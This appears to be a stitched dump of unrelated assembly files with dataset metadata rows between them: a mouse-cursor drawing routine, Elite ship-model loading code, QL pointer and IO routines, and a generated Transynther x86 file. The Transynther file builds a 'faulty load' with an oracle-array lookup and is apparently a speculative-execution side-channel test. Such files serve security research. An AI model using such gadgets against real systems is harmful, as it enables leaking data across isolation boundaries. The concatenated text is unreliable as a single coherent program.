mov dword ptr ss:[ebp - 36],eax
mov eax,dword ptr ss:[ebp - 28]
mov ecx,9
mul ecx
mov dword ptr ss:[ebp - 40],eax
mov eax,dword ptr ss:[ebp - 36]
cmp eax,dword ptr ss:[ebp - 32]
jb _mouseOverDraw
cmp eax,dword ptr ss:[ebp - 40]
ja _mouseOverDraw
mov ecx,ss:[ebp - 44]
_mouseBakColorPixel:
mov dl,byte ptr ds:[edi]
mov ds:[esi],dl
inc edi
inc esi
loop _mouseBakColorPixel
sub edi,ss:[ebp - 44]
mov ecx,ss:[ebp - 44]
mov eax,dword ptr ss:[ebp - 36]
sub eax,dword ptr ss:[ebp - 32]
cmp eax,ss:[ebp - 64]
jbe _mouseBorderDraw
mov eax,dword ptr ss:[ebp - 36]
mov edx,dword ptr ss:[ebp - 40]
sub edx,eax
cmp edx,ss:[ebp - 64]
jbe _mouseBorderDraw
add dword ptr ss:[ebp - 56],00000fh
mov eax,dword ptr ss:[ebp - 56]
mov dword ptr ds:[ebx + _mouseColor],eax
jmp _mouseDrawPoint
_mouseBorderDraw:
mov eax,dword ptr ss:[ebp - 60]
_mouseDrawPoint:
stosb
shr eax,8
loop _mouseDrawPoint
sub edi,dword ptr ss:[ebp - 44]
_mouseOverDraw:
add edi,dword ptr ss:[ebp - 44]
inc dword ptr ss:[ebp - 24]
pop ecx
dec ecx
jnz _drawMouseLine
pop edi
add edi,dword ptr ss:[ebp - 48]
inc dword ptr ss:[ebp - 28]
pop ecx
dec ecx
cmp ecx,0
;loop,jne等条件跳转的距离不能超过127字节,jnz,ja,jg,jb,jl等可以
jnz _drawMousePixel
add esp,40h
pop edi
pop esi
pop ebx
pop edx
pop ecx
mov esp,ebp
pop ebp
ret
__drawArray endp
;ebp + 4 ret address
;ebp old ebp
;ebp - 4 ecx
;ebp - 8 edx
;ebp - 12 ebx
;ebp - 16 esi
;ebp - 20 edi
;ebp - 24 x
;ebp - 28 y
;ebp - 32 4x
;ebp - 36 6y
;ebp - 40 9x
;param:null
__restoreArray proc
push ebp
mov ebp,esp
push ecx
push edx
push ebx
push esi
push edi
sub esp,40h
mov ebx,kernelData
shl ebx,4
mov eax,dword ptr ds:[ebx + _bytesPerPixel]
mov ss:[ebp - 44],eax
mov eax,dword ptr ds:[ebx + _bytesPerLine]
mov ss:[ebp - 48],eax
mov eax,dword ptr ds:[ebx + _videoBase]
mov ss:[ebp - 52],eax
mov ebx,MOUSE_BUFFER
push ds:[ebx + MOUSEDATA._mouseY]
push ds:[ebx + MOUSEDATA._mouseX]
call __getPosition
add esp,8
mov edi,eax
add edi,ss:[ebp - 52]
mov esi,MOUSE_BUFFER
add esi,MOUSEDATA._mouseCoverData
cld
mov dword ptr ss:[ebp - 28],0
mov ecx,dword ptr ds:[ebx + MOUSEDATA._mouseHeight]
_bdrawMousePixel:
mov dword ptr ss:[ebp - 24],0
push ecx
push edi
mov ecx,dword ptr ds:[ebx + MOUSEDATA._mouseWidth]
_bdrawMouseLine:
push ecx
mov eax,dword ptr ss:[ebp - 28]
shl eax,2
mov dword ptr ss:[ebp - 32],eax
mov eax,dword ptr ss:[ebp - 24]
mov ecx,6
mul ecx
mov dword ptr ss:[ebp - 36],eax
mov eax,dword ptr ss:[ebp - 28]
mov ecx,9
mul ecx
mov dword ptr ss:[ebp - 40],eax
mov eax,dword ptr ss:[ebp - 36]
cmp eax,dword ptr ss:[ebp - 32]
jb _bmouseOverDraw
cmp eax,dword ptr ss:[ebp - 40]
ja _bmouseOverDraw
mov ecx,dword ptr ss:[ebp - 44]
rep movsb
sub edi,dword ptr ss:[ebp - 44]
_bmouseOverDraw:
add edi,dword ptr ss:[ebp - 44]
inc dword ptr ss:[ebp - 24]
pop ecx
dec ecx
cmp ecx,0
jnz _bdrawMouseLine
pop edi
add edi,dword ptr ss:[ebp - 48]
inc dword ptr ss:[ebp - 28]
pop ecx
dec ecx
cmp ecx,0
jnz _bdrawMousePixel
add esp,40h
pop edi
pop esi
pop ebx
pop edx
pop ecx
mov esp,ebp
pop ebp
ret
__restoreArray endp
__mouseInit proc
push ebp
mov ebp,esp
push ebx
sub esp,40h
mov ebx,kernelData
shl ebx,4
push dword ptr ds:[ebx + _videoHeight]
push dword ptr ds:[ebx + _videoWidth]
call __initMouseParams
add esp,8
call __drawArray
add esp,40h
pop ebx
mov esp,ebp
pop ebp
ret
__mouseInit endp
;parm: x,y
__initMouseParams proc
push ebp
mov ebp,esp
push ecx
push edx
push ebx
push esi
sub esp,40h
mov ebx,kernelData
shl ebx,4
mov esi,MOUSE_BUFFER
mov eax,dword ptr ss:[ebp + 8]
shr eax,1
mov ds:[esi + MOUSEDATA._MouseX],eax
;mov dword ptr ds:[esi + MOUSEDATA._MouseX],0
mov edx,dword ptr ss:[ebp + 12]
shr edx,1
mov ds:[esi + MOUSEDATA._MouseY],edx
;mov dword ptr ds:[esi + MOUSEDATA._MouseY],0
mov eax,dword ptr ss:[ebp + 8]
cmp eax,dword ptr ss:[ebp + 12]
jae _makeMouseSquare
mov eax,dword ptr ss:[ebp + 12]
_makeMouseSquare:
mov edx,0
mov ecx,ds:[ebx + _mouseRatioSize]
div ecx
mov ds:[esi + MOUSEDATA._mouseWidth],eax
mov ds:[esi + MOUSEDATA._mouseHeight],eax
;mov eax,dword ptr ss:[ebp + 8]
;mov edx,0
;mov ecx,ds:[ebx + _mouseRatioSize]
;div ecx
;mov ds:[ebx + _mouseHeight],eax
add esp,40h
pop esi
pop ebx
pop edx
pop ecx
mov esp,ebp
pop ebp
ret
__initMouseParams endp
__mouseService proc
push ebp
mov ebp,esp
push ebx
push esi
push edi
mov ebx,MOUSE_BUFFER
mov eax,0
mov esi,ds:[ebx + MOUSEDATA._mouseBufTail]
cmp esi,dword ptr [ebx + MOUSEDATA._mouseBufHdr]
jz _mouseServiceEnd
shl esi,4
mov eax,ds:[ebx + MOUSEDATA._mouseBuf._mouseStatus + esi]
mov dword ptr ds:[edi],eax
mov eax,ds:[ebx + MOUSEDATA._mouseBuf._mouseX + esi]
mov dword ptr ds:[edi + 4],eax
mov eax,ds:[ebx + MOUSEDATA._mouseBuf._mouseY + esi]
mov dword ptr ds:[edi + 8],eax
mov eax,ds:[ebx + MOUSEDATA._mouseBuf._mouseZ + esi]
mov dword ptr ds:[edi + 12],eax
mov eax,4
;add dword ptr ds:[ebx+ MOUSEDATA._mouseBufTail],sizeof MOUSEPOSDATA
inc dword ptr ds:[ebx+ MOUSEDATA._mouseBufTail]
;cmp dword ptr ds:[ebx+ MOUSEDATA._mouseBufTail],MOUSE_BUF_LIMIT
cmp dword ptr ds:[ebx+ MOUSEDATA._mouseBufTail],MOUSE_POS_TOTAL
jb _mouseServiceEnd
mov dword ptr ds:[ebx+ MOUSEDATA._mouseBufTail],0
_mouseServiceEnd:
pop edi
pop esi
pop ebx
mov esp,ebp
pop ebp
ret
__mouseService endp
Kernel ends
| 17.76936 | 94 | 0.744766 |
ae4a11286169a8bf5e60bbb8db387ed073432061 | 13,622 | asm | Assembly | Data/ShipModels.asm | ped7g/EliteNext | 6e930f9b9924b295d7281ee6acb879600d7e597f | [
"Unlicense"
] | null | null | null | Data/ShipModels.asm | ped7g/EliteNext | 6e930f9b9924b295d7281ee6acb879600d7e597f | [
"Unlicense"
] | null | null | null | Data/ShipModels.asm | ped7g/EliteNext | 6e930f9b9924b295d7281ee6acb879600d7e597f | [
"Unlicense"
] | null | null | null |
; For ship number A fetch the adjusted ship number in B and bank number in A for the respective ship based on the ship table
IFDEF SHIPBANKA
GetShipModelId:
GetShipModelIdA: ld c,a
ld hl,ShipModelBankA ; Ship Model BankA, B and C are all the same value
ENDIF
IFDEF SHIPBANKB
GetShipModelIdB: ld c,a
ld hl,ShipModelBankB
ENDIF
IFDEF SHIPBANKC
GetShipModelIdC: ld c,a
ld hl,ShipModelBankC
ENDIF
JumpIfALTNusng ShipTableALast+1, .ShipBankA
JumpIfALTNusng ShipTableBLast+1, .ShipBankB
JumpIfALTNusng ShipTableCLast+1, .ShipBankC
.Failed: SetCarryFlag ; if its over current bank max then a failure
ret
.ShipBankA: ld b,a
ld a,BankShipModelsA
jp .Done
.ShipBankB: sub a,ShipTableALast+1
ld a,BankShipModelsB
jp .Done
.ShipBankC: sub a,ShipTableBLast+1
ld a,BankShipModelsC
.Done: ld a,BankShipModelsA
ClearCarryFlag
ret
;GINF:
IFDEF SHIPBANKA
GetInfo: ; gets pointer to ship data for ship type in a
GetInfoA: ; gets pointer to ship data for ship type in a
ENDIF
IFDEF SHIPBANKB
GetInfoB:
ENDIF
IFDEF SHIPBANKC
GetInfoC:
ENDIF
ld c,a
sra a
sra a
sra a
sra a ; Divide by 16 to get bank table offset
ld b,a ; save it as this is the number of x16 we need to subtract
ld hl,ShipModelBankA
add hl,a
ld a,(hl)
;MMUSelectShipModelA
ld a,c
ld d,b
ld e,16
mul
sub a,e
ld hl,ShipModelTable
add hl,a
add hl,a
ld e,(hl)
inc hl
ld d,(hl)
ret
; memcopy_dma, hl = target address de = source address to copy, bc = length"
IFDEF SHIPBANKA
CopyVerticesDataToUBnk:
CopyVerticesDataToUBnkA:
ENDIF
IFDEF SHIPBANKB
CopyVerticesDataToUBnkB:
ENDIF
IFDEF SHIPBANKC
CopyVerticesDataToUBnkC:
ENDIF
ld hl,(VerticesAddyAddr) ; now the pointers are in Ubnk its easy to read
ld de,UBnkHullVerticies
ld b,0
ld a,(VertexCtX6Addr)
ld c,a
ex de,hl ; dma transfer goes de -> hl i.e. opposite of ldir
call memcopy_dma
ret
IFDEF SHIPBANKA
CopyEdgeDataToUBnk:
CopyEdgeDataToUBnkA:
ENDIF
IFDEF SHIPBANKB
CopyEdgeDataToUBnkB:
ENDIF
IFDEF SHIPBANKC
CopyEdgeDataToUBnkC:
ENDIF
ld hl,(EdgeAddyAddr) ; now the pointers are in Ubnk its easy to read
ld de,UBnkHullEdges
ld b,0
ld a,(LineX4Addr)
ld c,a
ex de,hl ; dma transfer goes de -> hl i.e. opposite of ldir
call memcopy_dma
ret
IFDEF SHIPBANKA
CopyNormalDataToUBnk:
CopyNormalDataToUBnkA:
ENDIF
IFDEF SHIPBANKB
CopyNormalDataToUBnkB:
ENDIF
IFDEF SHIPBANKC
CopyNormalDataToUBnkC:
ENDIF
ld hl,(FaceAddyAddr) ; now the pointers are in Ubnk its easy to read
ld de,UBnkHullNormals
ld b,0
ld a,(FaceCtX4Addr)
ld c,a
ex de,hl ; dma transfer goes de -> hl i.e. opposite of ldir
call memcopy_dma
ret
;CopyShipIdToUbnk: ld
IFDEF SHIPBANKA
CopyShipDataToUBnk:
CopyShipDataToUBnkA: push af
ld a,BankShipModelsA
ENDIF
IFDEF SHIPBANKB
CopyShipDataToUBnkB: push af
ld a,BankShipModelsB
ENDIF
IFDEF SHIPBANKC
CopyShipDataToUBnkC: push af
ld a,BankShipModelsC
ENDIF
ld (UBnkShipModelBank),a
pop af ; save the current ship number and bank in case we need it later, say for a space station
ld (UBnkShipModelNbr),a ; mark ship type in bank
.GetHullDataLength: ld hl,ShipModelSizeTable
add hl,a
add hl,a ; we won't multiply by 2 as GetInfo is a general purpose routines so would end up x 4
ld c,(hl)
inc hl
ld b,(hl) ; bc now equals length of data set
.GetHullDataAddress: call GetInfo ; de = address of Ship Data
ex de,hl ; hl = address of Ship Data
ld de,UBnkHullCopy ; Universe bank
ld bc,ShipDataLength
ldir
call CopyVerticesDataToUBnk
call CopyEdgeDataToUBnk
call CopyNormalDataToUBnk
ret
; change to there are two banks
; the master table in both has the bank and ship replicated in boht banks to simplify quick bank switch
;
; Ships in Bank A
IFDEF SHIPBANKA
ShipModelBank1 DB BankShipModelsA
DB BankShipModelsB
DB BankShipModelsC
ENDIF
IFDEF SHIPBANKB
ShipModelBank2 DB BankShipModelsA
DB BankShipModelsB
DB BankShipModelsC
ENDIF
IFDEF SHIPBANKC
ShipModelBank3 DB BankShipModelsA
DB BankShipModelsB
DB BankShipModelsC
ENDIF
IFDEF SHIPBANKA
ENDIF
IFDEF SHIPBANKB
ENDIF
IFDEF SHIPBANKC
ENDIF
IFNDEF SHIPMODELTABLES
DEFINE SHIPMODELTABLES
ShipModelSizeTable: EQU ShipModelSizeTableA
ShipModelBank: EQU ShipModelBankA
ShipModelTable: EQU ShipModelTableA
ShipVertexTable: EQU ShipVertexTableA
ShipEdgeTable: EQU ShipEdgeTableA
ShipNormalTable: EQU ShipNormalTableA
ENDIF
IFDEF SHIPBANKA
ENDIF
IFDEF SHIPBANKB
ENDIF
IFDEF SHIPBANKC
ENDIF
; TODO Later reorg these offsets for better 16 bit read - Done
; TODO Add in roll max rates and data to allow ship replacement, reference to custom console
; -> &565D \ Start Hull Data. For each hull, first 20 bytes give header info.
; hull byte#0 high nibble is scoop info, lower nibble is debris spin info
; Scoop: 0 = no scoop 1= scoop , anything more?
; hull byte#1-2 area for missile lock, lo, hi
; hull byte#3 edges data info offset lo
; hull byte#4 faces data info offset lo
; hull byte#5 4*maxlines+1 for ship lines stack
; hull byte#6 gun vertex*4
; hull byte#7 explosion count e.g. &2A = 4*n+6
; hull byte#8 vertices*6
; hull byte#9 edge Count
; hull bytes#10-11 bounty lo hi
; hull byte#12 faces*4
; hull byte#13 dot beyond distance
; hull byte#14 energy
; hull byte#15 speed (end of 4th row)
; hull byte#16 edges offset hi (goes -ve to use other's edge net).
; hull byte#17 faces offset hi
; hull byte#18 Q% scaling of normals to make large objects' normals flare out further away
; hull byte#19 laser|missile(=lower 3 bits)
; hull byte#20 Added Vertices for 20,21
; Optimised version to be applied to add data brought in to here:
; hull byte#0 high nibble is scoop info, lower nibble is debris spin info
; hull byte#1-2 area for missile lock, lo, hi
; hull byte#3 edges data info offset lo
; hull byte#4 edges offset hi (goes -ve to use other's edge net). (was 16)
; hull byte#5 4*maxlines+1 for ship lines stack
; hull byte#6 gun vertex*4
; hull byte#7 explosion count e.g. &2A = 4*n+6
; hull byte#8 vertices*6
; hull byte#9 edge Count
; hull bytes#10-11 bounty lo hi
; hull byte#12 faces*4
; hull byte#13 dot beyond distance
; hull byte#14 energy
; hull byte#15 speed (end of 4th row)
; hull byte#16 faces data info offset lo (was 4)
; hull byte#17 faces offset hi
; hull byte#18 Q% scaling of normals to make large objects' normals flare out further away
; hull bute#19 laser|missile(=lower 3 bits)
; hull byte#20 Added Vertices for 20,21
;
; Vertex Data Structure
; Byte 0 X1Lo
; Byte 1 X1Hi
; Byte 2 Y1Lo
; Byte 3 Y1Hi
; Byte 4 High 4 bits Face 2 Index Low 4 bits = Face 1 Index
; Byte 5 High 4 bits Face 4 Index Low 4 bits = Face 3 Index
;
;
; Edge Data Structure
; Byte 0
; Byte 1 - Face 1 Index (uppernibble), Face 2 Index (lowernibble)
; Byte 2 - Index to Vertex 1
; Byte 3 - Index to Vertex 2
;
; Normal/Faces Data Structure
;
;
;
; Original Data:
; \ -> &565D \ Start Hull Data. For each hull, first 20 bytes give header info.
; \ hull byte#0 high nibble is scoop info, lower nibble is debris spin info
; \ hull byte#1-2 area for missile lock, lo, hi
; \ hull byte#3 edges data info offset lo
; \ hull byte#4 faces data info offset lo
; \ hull byte#5 4*maxlines+1 for ship lines stack
; \ hull byte#6 gun vertex*4
; \ hull byte#7 explosion count e.g. &2A = 4*n+6
; \ hull byte#8 vertices*6
; \ hull bytes#10-11 bounty lo hi
; \ hull byte#12 faces*4
; \ hull byte#13 dot beyond distance
; \ hull byte#14 energy
; \ hull byte#15 speed (end of 4th row)
; \ hull byte#16 edges offset hi (goes -ve to use other's edge net).
; \ hull byte#17 faces offset hi
; \ hull byte#18 Q% scaling of normals to make large objects' normals flare out further away
; \ hull bute#19 laser|missile(=lower 3 bits)
; Corrected pointers
; &565D \ Cargo cannister = Type 5
; 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
; Scp Missile Edg Edg Lin Gun Exp Vtx Edg Bounty Face Edg Face Vertices
; Deb Lock Lo Hi x4 Vtx Cnt x6 X1 lo hi x4 Dot Erg Spd hi Hi Q Laser Lo hi
; Mapping Orginal to new
; 0 => 0
; 1-2 => 1-2
; 3 => EQU Edges
; 4 => EQU Normals
; 5 => EQU EdgesCnt
; 6 => 6
; 7 => 7
; 8 => EQU VertSize
; 9 => EQU EdgesCnt
; 10-11=> 10-11
; 12 => EQU NormalsSize
; 13 => 13
; 14 => 14
; 15 => 15
; 16 => EQU Edges
; 17 => EQU Normals
; 18 => 18
; 19 => 19 | 41.913846 | 216 | 0.443914 |
7eeb26d2ae3eee73327468f2b6a72f473743093c | 1,468 | asm | Assembly | iod/con2/ptr/sptr.asm | olifink/smsqe | c546d882b26566a46d71820d1539bed9ea8af108 | [
"BSD-2-Clause"
] | null | null | null | iod/con2/ptr/sptr.asm | olifink/smsqe | c546d882b26566a46d71820d1539bed9ea8af108 | [
"BSD-2-Clause"
] | null | null | null | iod/con2/ptr/sptr.asm | olifink/smsqe | c546d882b26566a46d71820d1539bed9ea8af108 | [
"BSD-2-Clause"
] | null | null | null | * Set pointer position V1.01 1986 Tony Tebby QJUMP
*
section driver
*
xdef pt_sptr
xdef pt_cptr
*
xref pt_fwind
*
include 'dev8_keys_con'
include 'dev8_keys_err'
include 'dev8_mac_assert'
*
pt_cptr
move.l sd_sewll(a0),d0 ; any secondary?
beq.s ptcp_set ; ... no
move.l a0,-(sp)
ptcp_scloop
move.l d0,a0 ; ... yes
assert sd_sewll,0
btst #sd..well,sd_behav(a0) ; well behaved?
bne.s ptcp_sec ; ... yes
move.l sd_sewll(a0),d0
bne.s ptcp_scloop
bra.s ptcp_prim ; no suitable secondary, do primary
ptcp_sec
bsr.s ptcp_set
move.l (sp)+,a0
rts
ptcp_prim
move.l (sp)+,a0 ; restore primary
ptcp_set
move.l sd_xhits(a0),d1 ; hit size
lsr.l #1,d1 ; /2 gives centre of window
bclr #15,d1 ; in case X was odd
bra.s ptsp_hit ; add origin and set pointer
*
pt_sptr
tst.b d2 window relative?
beq.s ptsp_do ... no
bgt.s ptsp_hit ... hit relative
add.l sd_xmin(a0),d1 set position in screen coordinates
bra.s ptsp_do
ptsp_hit
add.l sd_xhito(a0),d1 set position
ptsp_do
move.l pt_ssize(a3),d0
cmp.w d0,d1 y out of range?
bhs.s pt_or ... yes
cmp.l d0,d1 x out of range?
bhs.s pt_or
move.l d1,pt_npos(a3) set new position
*
;; move.b #pt.freez,pt_freez(a3) freeze the pointer for a bit
clr.b pt_schfg(a3) scheduler busy
clr.b pt_offscr(a3) cannot SET offscreen
move.l a1,-(sp)
jsr pt_fwind ... but find window anyway
move.l (sp)+,a1
moveq #0,d0
rts
pt_or
moveq #err.orng,d0 out of range
rts
end
| 20.971429 | 61 | 0.68733 |
dda71583504f410dc146b63a146f6b65e3a5f115 | 6,709 | asm | Assembly | Transynther/x86/_processed/NC/_zr_/i9-9900K_12_0xa0.log_21829_1817.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NC/_zr_/i9-9900K_12_0xa0.log_21829_1817.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NC/_zr_/i9-9900K_12_0xa0.log_21829_1817.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r13
push %r15
push %r8
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_normal_ht+0x1793f, %rcx
nop
nop
nop
nop
and $50084, %rbx
movl $0x61626364, (%rcx)
cmp $33983, %r13
lea addresses_A_ht+0x713f, %r12
clflush (%r12)
nop
inc %r13
mov (%r12), %esi
inc %rcx
lea addresses_WT_ht+0x6216, %rsi
lea addresses_normal_ht+0x9c11, %rdi
nop
nop
nop
nop
nop
cmp %r15, %r15
mov $38, %rcx
rep movsl
nop
dec %rdi
lea addresses_normal_ht+0xaa3f, %rsi
lea addresses_UC_ht+0x1323f, %rdi
nop
nop
xor %rbx, %rbx
mov $71, %rcx
rep movsw
nop
nop
nop
xor $2745, %rcx
lea addresses_A_ht+0xc03f, %rsi
lea addresses_normal_ht+0x18d2c, %rdi
nop
sub %r13, %r13
mov $98, %rcx
rep movsb
nop
nop
nop
and $42399, %r15
lea addresses_WC_ht+0x135bf, %r12
nop
nop
nop
nop
nop
and %rsi, %rsi
movl $0x61626364, (%r12)
nop
nop
nop
nop
nop
add %rdi, %rdi
lea addresses_WC_ht+0x17a3f, %rsi
lea addresses_UC_ht+0xaed7, %rdi
nop
nop
add $40941, %r13
mov $61, %rcx
rep movsl
nop
nop
nop
inc %rcx
lea addresses_D_ht+0x7c3f, %rsi
nop
nop
nop
nop
sub %rcx, %rcx
mov $0x6162636465666768, %rdi
movq %rdi, %xmm5
vmovups %ymm5, (%rsi)
nop
nop
nop
nop
sub %rbx, %rbx
lea addresses_UC_ht+0x169bf, %rcx
nop
nop
and %r8, %r8
mov (%rcx), %r12w
nop
nop
nop
sub $49088, %rdi
lea addresses_A_ht+0x623f, %rdi
nop
nop
nop
nop
nop
xor $35484, %rsi
movb $0x61, (%rdi)
nop
nop
nop
dec %rdi
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %r8
pop %r15
pop %r13
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r12
push %r14
push %r8
push %rax
push %rdi
push %rsi
// Store
lea addresses_US+0xac53, %r8
nop
nop
nop
cmp %r14, %r14
movb $0x51, (%r8)
nop
cmp $11428, %rax
// Faulty Load
mov $0x767b4b000000023f, %r12
and $62070, %rsi
mov (%r12), %eax
lea oracles, %rdi
and $0xff, %rax
shlq $12, %rax
mov (%rdi,%rax,1), %rax
pop %rsi
pop %rdi
pop %rax
pop %r8
pop %r14
pop %r12
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_NC', 'AVXalign': True, 'size': 16}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 2, 'type': 'addresses_US', 'AVXalign': False, 'size': 1}}
[Faulty Load]
{'src': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_NC', 'AVXalign': False, 'size': 4}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 3, 'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 4}}
{'src': {'NT': False, 'same': False, 'congruent': 8, 'type': 'addresses_A_ht', 'AVXalign': False, 'size': 4}, 'OP': 'LOAD'}
{'src': {'same': False, 'congruent': 0, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'same': True, 'congruent': 1, 'type': 'addresses_normal_ht'}}
{'src': {'same': False, 'congruent': 10, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 10, 'type': 'addresses_UC_ht'}}
{'src': {'same': False, 'congruent': 9, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 0, 'type': 'addresses_normal_ht'}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 7, 'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 4}}
{'src': {'same': False, 'congruent': 11, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 3, 'type': 'addresses_UC_ht'}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 9, 'type': 'addresses_D_ht', 'AVXalign': False, 'size': 32}}
{'src': {'NT': False, 'same': False, 'congruent': 7, 'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 2}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 9, 'type': 'addresses_A_ht', 'AVXalign': False, 'size': 1}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
| 36.069892 | 2,999 | 0.659264 |
1031c5cc1c11fdfb2c48095cf9e23d8db868d9b1 | 437 | asm | Assembly | util/gut/smul.asm | olifink/smsqe | c546d882b26566a46d71820d1539bed9ea8af108 | [
"BSD-2-Clause"
] | null | null | null | util/gut/smul.asm | olifink/smsqe | c546d882b26566a46d71820d1539bed9ea8af108 | [
"BSD-2-Clause"
] | null | null | null | util/gut/smul.asm | olifink/smsqe | c546d882b26566a46d71820d1539bed9ea8af108 | [
"BSD-2-Clause"
] | null | null | null | ; General IO utility: send multiple bytes V2.00 1988 Tony Tebby
section gen_util
xdef gu_smul
xref gu_iowp
include 'dev8_keys_qdos_io'
;+++
; This routine sends multiple bytes
;
; d2 c p number of bytes to send
; a0 c p channel ID
; a1 c p pointer to bytes
; error returns standard
;---
gu_smul
moveq #iob.smul,d0
bra.s gu_iowp
end
| 18.208333 | 69 | 0.569794 |
3ca6aa96bf8f87618755e8610fb682eec034c82d | 452 | asm | Assembly | libsrc/stdio/sprinter/puts_cons.asm | grancier/z180 | e83f35e36c9b4d1457e40585019430e901c86ed9 | [
"ClArtistic"
] | null | null | null | libsrc/stdio/sprinter/puts_cons.asm | grancier/z180 | e83f35e36c9b4d1457e40585019430e901c86ed9 | [
"ClArtistic"
] | null | null | null | libsrc/stdio/sprinter/puts_cons.asm | grancier/z180 | e83f35e36c9b4d1457e40585019430e901c86ed9 | [
"ClArtistic"
] | 1 | 2019-12-03T23:57:48.000Z | 2019-12-03T23:57:48.000Z | ;
; Small C+ Z88 Internal Routine
; Puts a string to the console - mapping \n to \n\l as we
